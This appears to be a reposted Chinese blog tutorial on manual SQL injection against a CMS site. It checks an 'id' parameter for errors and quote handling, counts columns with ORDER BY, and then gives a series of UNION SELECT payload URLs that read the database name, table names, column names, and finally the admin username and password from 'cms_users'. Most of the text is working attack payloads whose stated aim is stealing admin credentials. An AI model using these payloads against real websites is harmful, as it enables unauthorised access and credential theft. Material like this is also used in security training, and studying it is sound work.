SQL语句手工注入 利用联合查询获取cms网站后台管理员帐密。

1.修改ID参数判断是否有回显

2. 添加单引号【'】,判断数据库是否有报错

3. 根据报错信息判断输入的数据是字符型还是数字型? 字符型就意味着参数左右两边有引号(单引号和双引号) 数字型就意味着数字参数左右两边没有引号。

关于引号的闭合

【?id=5' and 1=10000 --+】
 

4.是否会回显报错信息?

考虑到报错注入

5.判断是否有布尔类型状态?

6.判断是否有延时?

常用语句和函数
information_schema
 
1. 存储了 mysql 数据库中所有的元数据:库名、表名、字段名。

联合查询

1.基础知识

union select
@ 保证两个 select 语句查询的虚拟表具有相同的列数。
@ 【弱化】相同的列,具有相同的数据类型。
@ 跨库跨表查询。

2.判断列数

order by 给出1-15个字段会有回显

说明:程序中的SQL语句有15列

扫描二维码关注公众号,回复: 11937194 查看本文章

3.判断显示位

4.数据库的名字

?id=32 and 1=2 union select 1,2,(UNHEX(HEX(database))),4,5,6,7,8,9,10,11,12,13,14,15 --+

5.查询所有的表名

?id=32 and 1=2 union select 1,2,group_concat(UNHEX(HEX(table_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+

6. 获取字段名

 
?id=32 and 1=2 union select 1,2,group_concat(UNHEX(HEX(column_name))),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name='cms_users' and table_schema=database() --+

7.获取字段内容

?id=32 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users

猜你喜欢

转载自blog.csdn.net/qq_42094992/article/details/107618971
今日推荐